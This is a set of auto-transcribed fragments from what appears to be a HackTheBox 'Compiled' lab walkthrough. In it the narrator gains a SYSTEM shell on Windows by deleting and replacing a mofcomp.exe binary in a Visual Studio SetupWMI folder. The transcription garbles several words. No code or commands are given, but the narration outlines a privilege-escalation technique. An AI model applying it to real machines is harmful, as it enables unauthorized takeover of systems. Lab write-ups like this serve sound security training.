text: uh we got to go in program data so let's dotexe see if we get a shell here if we don't then we have something else wrong but at least it looks like the exploit mostly working so it probably takes 10 to 15 seconds I think I remember the blog Pro saying there were some sleeps that weren't needed they just put them in I think that was like troubleshooting types of things but um this should give us access any second let's see uh what file were we trying to clobber that was uh program data it was in the wmi directory right uh dir I think it was like Microsoft there's wmi here maybe there's setup that one's taking a while to run expl main uh we did replace uh let's see it was doing cmd.exe Visual Studio setup wmi this is the directory and we were trying to com uh clobber the moth compiler I don't see it there where's the

title: HackTheBox - Compiled


text: exe there should just be M compiler exe here don't see it wonder if this is another issue that we're running into I don't like that this hasn't came back yet but I'm pretty sure there should be just a MF compiler exe here program data Microsoft Visual Studio set wmi see copy what is the name program data shell. EXE Mo compiler exe can we just make this directory or make the file we can't oh it helps if we put the full path so that works and we suddenly got a shell a system I'm guessing the program was still running and waiting for the step to do that finally got this back well we did the box I'm not exactly sure if that was supposed to happen I don't think we're supposed to have to make that directory ourselves or make the file ourselves um see desktop so we can get root. text if we wanted to right but let's try that

title: HackTheBox - Compiled


text: again so we'll exit our L wrap so we run the exploit and we should see MTH compiler get recreated set up wmi okay M compiler is not there so we've successfully deleted it um set up wmi we put the file back and we got a shell so I don't know what happened that first time I was running it but um maybe it just took while to run win some type of race I'm not exactly sure but that is the Box hope you guys enjoyed it take care and I will see you all next time

title: HackTheBox - Compiled